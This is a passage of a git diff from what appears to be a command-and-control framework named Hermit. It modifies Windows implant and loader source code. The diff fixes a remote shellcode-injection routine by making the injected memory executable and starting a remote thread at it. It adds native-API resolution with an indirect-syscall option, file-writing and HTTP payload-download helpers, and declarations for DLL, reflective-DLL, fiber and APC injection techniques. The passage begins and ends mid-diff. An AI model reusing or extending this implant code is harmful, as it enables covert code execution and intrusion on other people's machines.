b/payload/win/implant/src/core/technique/injection/shellcode_injection.cpp @@ -7,7 +7,6 @@ namespace Technique::Injection HANDLE hProcess; HANDLE hThread; PVOID pBaseAddr; - BOOL bResults; hProcess = System::Process::ProcessOpen(pProcs, dwPID, PROCESS_ALL_ACCESS); if (!hProcess) @@ -20,7 +19,7 @@ namespace Technique::Injection hProcess, shellcode.size(), MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE + PAGE_EXECUTE_READWRITE ); if (!pBaseAddr) { @@ -50,8 +49,8 @@ namespace Technique::Injection hThread = System::Process::RemoteThreadCreate( pProcs, hProcess, - NULL, - pBaseAddr + (LPTHREAD_START_ROUTINE)pBaseAddr, + NULL ); if (!hThread) { @@ -66,10 +65,10 @@ namespace Technique::Injection return FALSE; } - // pProcs->lpNtWaitForSingleObject(hThread, FALSE, NULL); + pProcs->lpNtWaitForSingleObject(hThread, FALSE, NULL); - // pProcs->lpNtClose(hProcess); - // pProcs->lpNtClose(hThread); + pProcs->lpNtClose(hProcess); + pProcs->lpNtClose(hThread); return TRUE; } diff --git a/payload/win/implant/src/hermit.cpp b/payload/win/implant/src/hermit.cpp index 6f5bd95..bc3cee7 100644 --- a/payload/win/implant/src/hermit.cpp +++ b/payload/win/implant/src/hermit.cpp @@ -22,7 +22,15 @@ namespace Hermit LPCWSTR lpKey, LPCWSTR lpIV ) { - HMODULE hNTDLL = LoadLibrary(L"ntdll.dll"); + // TEST (I'll remove the following lines eventually) ---------------------- + // Cord sysCord; + // sysCord.x = 10; + // sysCord.y = 20; + // DWORD c = SysSample(&sysCord); + // Stdout::DisplayMessageBoxA(std::to_string(c).c_str(), "SysSample3"); + // ------------------------------------------------------------------------ + + HMODULE hNTDLL = LoadLibrary(L"ntdll.dll"); if (!hNTDLL) { return; diff --git a/payload/win/stager/CMakeLists.txt b/payload/win/loader/CMakeLists.txt similarity index 94% rename from payload/win/stager/CMakeLists.txt rename to payload/win/loader/CMakeLists.txt index 8f054cb..33e910a 100644 --- a/payload/win/stager/CMakeLists.txt +++ b/payload/win/loader/CMakeLists.txt @@ -45,15 +45,16 @@ set(COMMON_SOURCES src/core/stdout.cpp src/core/system/arch.cpp src/core/system/env.cpp + src/core/system/fs.cpp src/core/system/http.cpp src/core/system/process.cpp src/core/utils/convert.cpp ) -if(${PAYLOAD_TYPE} STREQUAL \"dll-loader\") +if(${PAYLOAD_TYPE} STREQUAL \"dll\") set(SOURCE src/main/dll_loader_${PAYLOAD_FORMAT}.cpp ${COMMON_SOURCES}) -elseif(${PAYLOAD_TYPE} STREQUAL \"exec-loader\") +elseif(${PAYLOAD_TYPE} STREQUAL \"exec\") set(SOURCE src/main/exec_loader_${PAYLOAD_FORMAT}.cpp ${COMMON_SOURCES}) -elseif(${PAYLOAD_TYPE} STREQUAL \"shellcode-loader\") +elseif(${PAYLOAD_TYPE} STREQUAL \"shellcode\") set(SOURCE src/main/shellcode_loader_${PAYLOAD_FORMAT}.cpp ${COMMON_SOURCES}) endif() diff --git a/payload/win/stager/include/core/crypt.hpp b/payload/win/loader/include/core/crypt.hpp similarity index 100% rename from payload/win/stager/include/core/crypt.hpp rename to payload/win/loader/include/core/crypt.hpp diff --git a/payload/win/stager/include/core/handler.hpp b/payload/win/loader/include/core/handler.hpp similarity index 100% rename from payload/win/stager/include/core/handler.hpp rename to payload/win/loader/include/core/handler.hpp diff --git a/payload/win/stager/include/core/macros.hpp b/payload/win/loader/include/core/macros.hpp similarity index 100% rename from payload/win/stager/include/core/macros.hpp rename to payload/win/loader/include/core/macros.hpp diff --git a/payload/win/loader/include/core/procs.hpp b/payload/win/loader/include/core/procs.hpp new file mode 100644 index 0000000..ce755bc --- /dev/null +++ b/payload/win/loader/include/core/procs.hpp @@ -0,0 +1,134 @@ +#ifndef HERMIT_CORE_PROCS_HPP +#define HERMIT_CORE_PROCS_HPP + +#include +#include +#include +#include + +namespace Procs +{ + // **NATIVE APIs** + // NtCreateProcess + typedef NTSTATUS (NTAPI* LPPROC_NTCREATEPROCESS)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ParentProcess, BOOLEAN InheritObjectTable, HANDLE SectionHandle, HANDLE DebugPort, HANDLE TokenHandle); + // NtOpenProcess + typedef NTSTATUS (NTAPI* LPPROC_NTOPENPROCESS)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); + // NtTerminateProcess + typedef NTSTATUS (NTAPI* LPPROC_NTTERMINATEPROCESS)(HANDLE ProcessHandle, NTSTATUS ExitStatus); + // NtSetInformationProcess + typedef NTSTATUS (NTAPI* LPPROC_NTSETINFORMATIONPROCESS)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength); + // NtCreateThreadEx + typedef NTSTATUS (NTAPI* LPPROC_NTCREATETHREADEX)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID lpBytesBuffer); + // NtResumeThread + typedef NTSTATUS (NTAPI* LPPROC_NTRESUMETHREAD)(HANDLE ThreadHandle, PULONG PreviousSuspendCount); + // NtAllocateVirtualMemory + typedef NTSTATUS (NTAPI* LPPROC_NTALLOCATEVIRTUALMEMORY)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); + // NtWriteVirtualMemory + typedef NTSTATUS (NTAPI* LPPROC_NTWRITEVIRTUALMEMORY)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten); + // NtFreeVirtualMemory + typedef NTSTATUS (NTAPI* LPPROC_NTFREEVIRTUALMEMORY)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType); + // NtDuplicateObject + typedef NTSTATUS (NTAPI* LPPROC_NTDUPLICATEOBJECT)(HANDLE SourceProcessHandle, PHANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, BOOLEAN InheritHandle, ULONG Options); + // NtWaitForSingleObject + typedef NTSTATUS (NTAPI* LPPROC_NTWAITFORSINGLEOBJECT)(HANDLE Handle, BOOLEAN Alertable, PLARGE_INTEGER Timeout); + // NtClose + typedef NTSTATUS (NTAPI* LPPROC_NTCLOSE)(HANDLE Handle); + // NtCreateFile + typedef NTSTATUS (NTAPI* LPPROC_NTCREATEFILE)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); + // NtReadFile + typedef NTSTATUS (NTAPI* LPPROC_NTREADFILE)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key); + // NtWriteFile + typedef NTSTATUS (NTAPI* LPPROC_NTWRITEFILE)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key); + // NtCreateNamedPipeFile + typedef NTSTATUS (NTAPI* LPPROC_NTCREATENAMEDPIPEFILE)(PHANDLE FileHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, ULONG NamedPipeType, ULONG ReadMode, ULONG CompletionMode, ULONG MaximumInstances, ULONG InboundQuota, ULONG OutboundQuota, PLARGE_INTEGER DefaultTimeout); + // NtQueryInformationFile + typedef NTSTATUS (NTAPI* LPPROC_NTQUERYINFORMATIONFILE)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass); + // NtSetInformationFile + typedef NTSTATUS (NTAPI* LPPROC_NTSETINFORMATIONFILE)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass); + + // **NATIVE APIs (Runtime Library)** + // RtlAllocateHeap + typedef PVOID (NTAPI* LPPROC_RTLALLOCATEHEAP)(PVOID HeapHandle, ULONG Flags, SIZE_T Size); + // RtlZeroMemory + typedef VOID (NTAPI* LPPROC_RTLZEROMEMORY)(PVOID Destination, SIZE_T Length); + // RtlInitUnicodeString + typedef NTSTATUS (NTAPI* LPPROC_RTLINITUNICODESTRING)(PUNICODE_STRING DestinationString, PCWSTR SourceString); + // RtlStringCatW + typedef NTSTATUS (NTAPI* LPPROC_RTLSTRINGCCHCATW)(LPWSTR pszDest, SIZE_T cchDest, LPCWSTR pszSrc); + // RtlStringCchCopyW + typedef NTSTATUS (NTAPI* LPPROC_RTLSTRINGCCHCOPYW)(LPWSTR pszDest, SIZE_T cchDest, LPCWSTR pszSrc); + // RtlStringCchLengthW + typedef NTSTATUS (NTAPI* LPPROC_RTLSTRINGCCHLENGTHW)(PCWSTR psz, SIZE_T cchMax, SIZE_T *pcchLength); + // RtlQuerySystemInformation + typedef NTSTATUS (NTAPI* LPPROC_RTLQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); + // RtlExpandEnvironmentStrings + typedef NTSTATUS (NTAPI* LPPROC_RTLEXPANDENVIRONMENTSTRINGS)(PVOID Environment, PCWSTR Source, SIZE_T SourceLength, PWSTR Destination, SIZE_T DestinationLength, PSIZE_T ReturnLength); + // RtlNtStatusToDosError + typedef DWORD (NTAPI* LPPROC_RTLNTSTATUSTODOSERROR)(NTSTATUS Status); + + // **WINAPIs** + typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPEN)(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags); + typedef HINTERNET (WINAPI* LPPROC_WINHTTPCONNECT)(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved); + typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPENREQUEST)(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR *ppwszAcceptTypes, DWORD dwFlags); + typedef BOOL (WINAPI* LPPROC_WINHTTPSETOPTION)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength); + typedef BOOL (WINAPI* LPPROC_WINHTTPSENDREQUEST)(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext); + typedef BOOL (WINAPI* LPPROC_WINHTTPWRITEDATA)(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten); + typedef BOOL (WINAPI* LPPROC_WINHTTPRECEIVERESPONSE)(HINTERNET hRequest, LPVOID lpReserved); + typedef BOOL (WINAPI* LPPROC_WINHTTPQUERYHEADERS)(HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex); + typedef BOOL (WINAPI* LPPROC_WINHTTPQUERYDATAAVAILABLE)(HINTERNET hRequest, LPDWORD lpdwNumberOfBytesAvailable); + typedef BOOL (WINAPI* LPPROC_WINHTTPREADDATA)(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesLength, LPDWORD lpdwNumberOfBytesRead); + typedef BOOL (WINAPI* LPPROC_WINHTTPCLOSEHANDLE)(HINTERNET hInternet); + + struct PROCS + { + // **NATIVE APIs** + LPPROC_NTCREATEPROCESS lpNtCreateProcess = nullptr; + LPPROC_NTOPENPROCESS lpNtOpenProcess = nullptr; + LPPROC_NTTERMINATEPROCESS lpNtTerminateProcess = nullptr; + LPPROC_NTSETINFORMATIONPROCESS lpNtSetInformationProcess = nullptr; + LPPROC_NTCREATETHREADEX lpNtCreateThreadEx = nullptr; + LPPROC_NTRESUMETHREAD lpNtResumeThread = nullptr; + LPPROC_NTALLOCATEVIRTUALMEMORY lpNtAllocateVirtualMemory = nullptr; + LPPROC_NTWRITEVIRTUALMEMORY lpNtWriteVirtualMemory = nullptr; + LPPROC_NTFREEVIRTUALMEMORY lpNtFreeVirtualMemory = nullptr; + LPPROC_NTDUPLICATEOBJECT lpNtDuplicateObject = nullptr; + LPPROC_NTWAITFORSINGLEOBJECT lpNtWaitForSingleObject = nullptr; + LPPROC_NTCLOSE lpNtClose = nullptr; + LPPROC_NTCREATEFILE lpNtCreateFile = nullptr; + LPPROC_NTREADFILE lpNtReadFile = nullptr; + LPPROC_NTWRITEFILE lpNtWriteFile = nullptr; + LPPROC_NTCREATENAMEDPIPEFILE lpNtCreateNamedPipeFile = nullptr; + LPPROC_NTQUERYINFORMATIONFILE lpNtQueryInformationFile = nullptr; + LPPROC_NTSETINFORMATIONFILE lpNtSetInformationFile = nullptr; + + // **RUNTIME LIBRARY APIs** + LPPROC_RTLALLOCATEHEAP lpRtlAllocateHeap = nullptr; + LPPROC_RTLZEROMEMORY lpRtlZeroMemory = nullptr; + LPPROC_RTLINITUNICODESTRING lpRtlInitUnicodeString = nullptr; + LPPROC_RTLSTRINGCCHCATW lpRtlStringCchCatW = nullptr; + LPPROC_RTLSTRINGCCHCOPYW lpRtlStringCchCopyW = nullptr; + LPPROC_RTLSTRINGCCHLENGTHW lpRtlStringCchLengthW = nullptr; + LPPROC_RTLQUERYSYSTEMINFORMATION lpRtlQuerySystemInformation = nullptr; + LPPROC_RTLEXPANDENVIRONMENTSTRINGS lpRtlExpandEnvironmentStrings = nullptr; + LPPROC_RTLNTSTATUSTODOSERROR lpRtlNtStatusToDosError = nullptr; + + // **WINAPIs** + LPPROC_WINHTTPOPEN lpWinHttpOpen = nullptr; + LPPROC_WINHTTPCONNECT lpWinHttpConnect = nullptr; + LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest = nullptr; + LPPROC_WINHTTPSETOPTION lpWinHttpSetOption = nullptr; + LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest = nullptr; + LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData = nullptr; + LPPROC_WINHTTPRECEIVERESPONSE lpWinHttpReceiveResponse = nullptr; + LPPROC_WINHTTPQUERYHEADERS lpWinHttpQueryHeaders = nullptr; + LPPROC_WINHTTPQUERYDATAAVAILABLE lpWinHttpQueryDataAvailable = nullptr; + LPPROC_WINHTTPREADDATA lpWinHttpReadData = nullptr; + LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle = nullptr; + }; + + typedef PROCS* PPROCS; + + PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls); +} + +#endif // HERMIT_CORE_PROCS_HPP \ No newline at end of file diff --git a/payload/win/stager/include/core/state.hpp b/payload/win/loader/include/core/state.hpp similarity index 100% rename from payload/win/stager/include/core/state.hpp rename to payload/win/loader/include/core/state.hpp diff --git a/payload/win/stager/include/core/stdout.hpp b/payload/win/loader/include/core/stdout.hpp similarity index 100% rename from payload/win/stager/include/core/stdout.hpp rename to payload/win/loader/include/core/stdout.hpp diff --git a/payload/win/loader/include/core/system.hpp b/payload/win/loader/include/core/system.hpp new file mode 100644 index 0000000..edc9c93 --- /dev/null +++ b/payload/win/loader/include/core/system.hpp @@ -0,0 +1,150 @@ +#ifndef HERMIT_CORE_SYSTEM_HPP +#define HERMIT_CORE_SYSTEM_HPP + +#include +#include +#include +#include +#include + +#include "core/crypt.hpp" +#include "core/procs.hpp" +#include "core/stdout.hpp" +#include "core/utils.hpp" + +namespace System::Arch +{ + std::wstring GetName(WORD wProcessorArchitecture); +} + +namespace System::Env +{ + std::wstring GetStrings(const std::wstring& envVar); +} + +namespace System::Process +{ + HANDLE ProcessCreate( + Procs::PPROCS pProcs, + LPCWSTR lpApplicationName, + DWORD dwDesiredAccess, // e.g. PROCESS_ALL_ACCESS + HANDLE hParentProcess + ); + DWORD GetProcessIdByName(LPCWSTR lpProcessName); + HANDLE ProcessOpen( + Procs::PPROCS pProcs, + DWORD dwProcessID, + DWORD dwDesiredAccess + ); + BOOL ProcessTerminate( + Procs::PPROCS pProcs, + HANDLE hProcess, + NTSTATUS ntStatus + ); + PVOID VirtualMemoryAllocate( + Procs::PPROCS pProcs, + HANDLE hProcess, + DWORD dwSize, + DWORD dwAllocationType, // e.g. MEM_COMMIT | MEM_RESERVE + DWORD dwProtect // e.g. PAGE_READWRITE + ); + BOOL VirtualMemoryFree( + Procs::PPROCS pProcs, + HANDLE hProcess, + PVOID* lpBaseAddr, + SIZE_T dwSize, + DWORD dwFreeType + ); + BOOL VirtualMemoryWrite( + Procs::PPROCS pProcs, + HANDLE hProcess, + LPVOID lpBaseAddr, + LPVOID lpBuffer, + DWORD dwBufferSize, + PDWORD lpNumberOfBytesWritten + ); + HANDLE RemoteThreadCreate( + Procs::PPROCS pProcs, + HANDLE hProcess, + LPTHREAD_START_ROUTINE lpThreadStartRoutineAddr, + PVOID pArgument + ); + + std::wstring ExecuteCmd(Procs::PPROCS pProcs, const std::wstring& wCmd); + BOOL ExecuteFile(Procs::PPROCS pProcs, const std::wstring& wFilePath); +} + +namespace System::Fs +{ + std::wstring GetAbsolutePath( + const std::wstring& wPath, + BOOL bExtendLength + ); + HANDLE CreateNewFile( + Procs::PPROCS pProcs, + const std::wstring& wFilePath + ); + BOOL WriteBytesToFile( + Procs::PPROCS pProcs, + const std::wstring& wFilePath, + const std::vector& bytes + ); +} + +namespace System::Http +{ + struct WinHttpHandlers { + HINTERNET hSession; + HINTERNET hConnect; + }; + + struct WinHttpResponse { + BOOL bResult; + HINTERNET hRequest; + DWORD dwStatusCode; + }; + + WinHttpHandlers InitRequest( + Procs::PPROCS pProcs, + LPCWSTR lpHost, + INTERNET_PORT nPort + ); + WinHttpResponse SendRequest( + Procs::PPROCS pProcs, + HINTERNET hConnect, + LPCWSTR lpHost, + INTERNET_PORT nPort, + LPCWSTR lpPath, + LPCWSTR lpMethod, + LPCWSTR lpHeaders, + LPVOID lpData, + DWORD dwDataLength + ); + std::vector ReadResponseBytes( + Procs::PPROCS pProcs, + HINTERNET hRequest + ); + std::wstring ReadResponseText( + Procs::PPROCS pProcs, + HINTERNET hRequest + ); + BOOL DownloadFile( + Procs::PPROCS pProcs, + Crypt::PCRYPT pCrypt, + HINTERNET hConnect, + LPCWSTR lpHost, + INTERNET_PORT nPort, + LPCWSTR lpPath, + LPCWSTR lpHeaders, + const std::wstring& wInfoJSON, + const std::wstring& wDest + ); + VOID WinHttpCloseHandles( + Procs::PPROCS pProcs, + HINTERNET hSession, + HINTERNET hConnect, + HINTERNET hRequest + ); +} + +#endif // HERMIT_CORE_SYSTEM_HPP \ No newline at end of file diff --git a/payload/win/loader/include/core/technique.hpp b/payload/win/loader/include/core/technique.hpp new file mode 100644 index 0000000..4a9d387 --- /dev/null +++ b/payload/win/loader/include/core/technique.hpp @@ -0,0 +1,22 @@ +#ifndef HERMIT_CORE_TECHNIQUE_HPP +#define HERMIT_CORE_TECHNIQUE_HPP + +#include +#include +#include + +#include "core/procs.hpp" +#include "core/stdout.hpp" +#include "core/system.hpp" + +namespace Technique::Injection +{ + BOOL DLLInjection(Procs::PPROCS pProcs, DWORD dwPID, LPVOID lpDllPath, size_t dwDllPathSize); + BOOL ReflectiveDLLInjection(Procs::PPROCS pProcs, LPCWSTR lpDllPath, size_t dwDllPathSize); + + BOOL ShellcodeInjection(Procs::PPROCS pProcs, DWORD dwPID, const std::vector& shellcode); + BOOL ShellcodeExecutionViaFibers(Procs::PPROCS pProcs, const std::vector& shellcode); + BOOL ShellcodeExecutionViaAPCAndNtTestAlert(Procs::PPROCS pProcs, const std::vector& shellcode); +} + +#endif // HERMIT_CORE_TECHNIQUE_HPP \ No newline at end of file diff --git a/payload/win/stager/include/core/utils.hpp b/payload/win/loader/include/core/utils.hpp similarity index 100% rename from payload/win/stager/include/core/utils.hpp rename to payload/win/loader/include/core/utils.hpp diff --git a/payload/win/stager/include/hermit.hpp b/payload/win/loader/include/hermit.hpp similarity index 100% rename from payload/win/stager/include/hermit.hpp rename to payload/win/loader/include/hermit.hpp diff --git a/payload/win/stager/src/core/crypt.cpp b/payload/win/loader/src/core/crypt.cpp similarity index 100% rename from payload/win/stager/src/core/crypt.cpp rename to payload/win/loader/src/core/crypt.cpp diff --git a/payload/win/stager/src/core/handler.cpp b/payload/win/loader/src/core/handler.cpp similarity index 100% rename from payload/win/stager/src/core/handler.cpp rename to payload/win/loader/src/core/handler.cpp diff --git a/payload/win/loader/src/core/procs.cpp b/payload/win/loader/src/core/procs.cpp new file mode 100644 index 0000000..b4667d9 --- /dev/null +++ b/payload/win/loader/src/core/procs.cpp @@ -0,0 +1,49 @@ +#include "core/procs.hpp" + +namespace Procs +{ + PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscall) + { + PPROCS pProcs = new PROCS; + + // NTAPIs + pProcs->lpNtCreateProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateProcess")); + pProcs->lpNtOpenProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtOpenProcess")); + pProcs->lpNtTerminateProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtTerminateProcess")); + pProcs->lpNtCreateThreadEx = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateThreadEx")); + pProcs->lpNtResumeThread = reinterpret_cast(GetProcAddress(hNTDLL, "NtResumeThread")); + pProcs->lpNtAllocateVirtualMemory = reinterpret_cast(GetProcAddress(hNTDLL, "NtAllocateVirtualMemory")); + pProcs->lpNtWriteVirtualMemory = reinterpret_cast(GetProcAddress(hNTDLL, "NtWriteVirtualMemory")); + pProcs->lpNtFreeVirtualMemory = reinterpret_cast(GetProcAddress(hNTDLL, "NtFreeVirtualMemory")); + pProcs->lpNtDuplicateObject = reinterpret_cast(GetProcAddress(hNTDLL, "NtDuplicateObject")); + pProcs->lpNtWaitForSingleObject = reinterpret_cast(GetProcAddress(hNTDLL, "NtWaitForSingleObject")); + pProcs->lpNtClose = reinterpret_cast(GetProcAddress(hNTDLL, "NtClose")); + pProcs->lpNtCreateFile = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateFile")); + pProcs->lpNtReadFile = reinterpret_cast(GetProcAddress(hNTDLL, "NtReadFile")); + pProcs->lpNtWriteFile = reinterpret_cast(GetProcAddress(hNTDLL, "NtWriteFile")); + + // NTAPIs (Runtime Library) + pProcs->lpRtlAllocateHeap = reinterpret_cast(GetProcAddress(hNTDLL, "RtlAllocateHeap")); + pProcs->lpRtlZeroMemory = reinterpret_cast(GetProcAddress(hNTDLL, "RtlZeroMemory")); + pProcs->lpRtlInitUnicodeString = reinterpret_cast(GetProcAddress(hNTDLL, "RtlInitUnicodeString")); + pProcs->lpRtlStringCchCatW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchCatW")); + pProcs->lpRtlStringCchCopyW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchCopyW")); + pProcs->lpRtlStringCchLengthW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchLengthW")); + pProcs->lpRtlNtStatusToDosError = reinterpret_cast(GetProcAddress(hNTDLL, "RtlNtStatusToDosError")); + + // WINAPIs + pProcs->lpWinHttpOpen = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpOpen")); + pProcs->lpWinHttpConnect = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpConnect")); + pProcs->lpWinHttpOpenRequest = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpOpenRequest")); + pProcs->lpWinHttpSetOption = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpSetOption")); + pProcs->lpWinHttpSendRequest = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpSendRequest")); + pProcs->lpWinHttpWriteData = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpWriteData")); + pProcs->lpWinHttpReceiveResponse = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpReceiveResponse")); + pProcs->lpWinHttpQueryHeaders = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpQueryHeaders")); + pProcs->lpWinHttpQueryDataAvailable = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpQueryDataAvailable")); + pProcs->lpWinHttpReadData = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpReadData")); + pProcs->lpWinHttpCloseHandle = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpCloseHandle")); + + return pProcs; + } +} \ No newline at end of file diff --git a/payload/win/stager/src/core/state.cpp b/payload/win/loader/src/core/state.cpp similarity index 100% rename from payload/win/stager/src/core/state.cpp rename to payload/win/loader/src/core/state.cpp diff --git a/payload/win/stager/src/core/stdout.cpp b/payload/win/loader/src/core/stdout.cpp similarity index 100% rename from payload/win/stager/src/core/stdout.cpp rename to payload/win/loader/src/core/stdout.cpp diff --git a/payload/win/stager/src/core/system/arch.cpp b/payload/win/loader/src/core/system/arch.cpp similarity index 100% rename from payload/win/stager/src/core/system/arch.cpp rename to payload/win/loader/src/core/system/arch.cpp diff --git a/payload/win/stager/src/core/system/env.cpp b/payload/win/loader/src/core/system/env.cpp similarity index 100% rename from payload/win/stager/src/core/system/env.cpp rename to payload/win/loader/src/core/system/env.cpp diff --git a/payload/win/loader/src/core/system/fs.cpp b/payload/win/loader/src/core/system/fs.cpp new file mode 100644 index 0000000..9ad9b9b --- /dev/null +++ b/payload/win/loader/src/core/system/fs.cpp @@ -0,0 +1,148 @@ +#include "core/system.hpp" + +namespace System::Fs +{ + std::wstring GetAbsolutePath(const std::wstring& wPath, BOOL bExtendLength) + { + DWORD dwRet = 0; + BOOL success; + WCHAR wBuffer[MAX_PATH] = TEXT(""); + WCHAR wBuf[MAX_PATH] = TEXT(""); + WCHAR** lppPart = {NULL}; + + dwRet = GetFullPathName( + wPath.c_str(), + MAX_PATH, + wBuffer, + lppPart + ); + if (dwRet == 0) + { + return L""; + } + + if (bExtendLength) + { + return L"\\??\\\\" + std::wstring(wBuffer); + } + else + { + return std::wstring(wBuffer); + } + } + + HANDLE CreateNewFile( + Procs::PPROCS pProcs, + const std::wstring& wFilePath + ) { + std::wstring wFileAbsPath = System::Fs::GetAbsolutePath(wFilePath, TRUE); + + NTSTATUS status; + HANDLE hFile; + + // Open file + IO_STATUS_BLOCK ioStatusBlock; + OBJECT_ATTRIBUTES objAttr; + UNICODE_STRING uniFilePath; + + pProcs->lpRtlInitUnicodeString(&uniFilePath, wFileAbsPath.c_str()); + InitializeObjectAttributes(&objAttr, &uniFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL); + + status = pProcs->lpNtCreateFile( + &hFile, + FILE_GENERIC_READ | FILE_GENERIC_WRITE, + &objAttr, + &ioStatusBlock, + NULL, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ | FILE_SHARE_WRITE, + CREATE_ALWAYS, + FILE_NON_DIRECTORY_FILE | FILE_ATTRIBUTE_NORMAL, + NULL, + 0 + ); + if (status != STATUS_SUCCESS) + { + return NULL; + } + + return hFile; + } + + BOOL WriteBytesToFile( + Procs::PPROCS pProcs, + const std::wstring& wFilePath, + const std::vector& bytes + ) { + std::wstring wFileAbsPath = GetAbsolutePath(wFilePath, TRUE); + + NTSTATUS status; + HANDLE hFile; + + // Open file + IO_STATUS_BLOCK ioStatusBlock; + OBJECT_ATTRIBUTES objAttr; + UNICODE_STRING uniFilePath; + + pProcs->lpRtlInitUnicodeString(&uniFilePath, wFileAbsPath.c_str()); + InitializeObjectAttributes(&objAttr, &uniFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL); + + status = pProcs->lpNtCreateFile( + &hFile, + FILE_GENERIC_WRITE, + &objAttr, + &ioStatusBlock, + NULL, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ | FILE_SHARE_WRITE, + FILE_OPEN_IF, + FILE_NON_DIRECTORY_FILE, + NULL, + 0 + ); + if (status != STATUS_SUCCESS) + { + return FALSE; + } + + // Write data to the file. + LARGE_INTEGER byteOffset; + byteOffset.QuadPart = 0; + + status = pProcs->lpNtWriteFile( + hFile, + NULL, + NULL, + NULL, + &ioStatusBlock, + (PVOID)bytes.data(), + bytes.size(), + &byteOffset, + NULL + ); + if (status == STATUS_PENDING) + { + status = pProcs->lpNtWaitForSingleObject(hFile, FALSE, NULL); + if (status != STATUS_SUCCESS) + { + pProcs->lpNtClose(hFile); + return FALSE; + } + } + if (status != STATUS_SUCCESS) + { + pProcs->lpNtClose(hFile); + return FALSE; + } + + if (ioStatusBlock.Information <= 0) + { + pProcs->lpNtClose(hFile); + return FALSE; + } + + pProcs->lpNtClose(hFile); + + return TRUE; + } +} \ No newline at end of 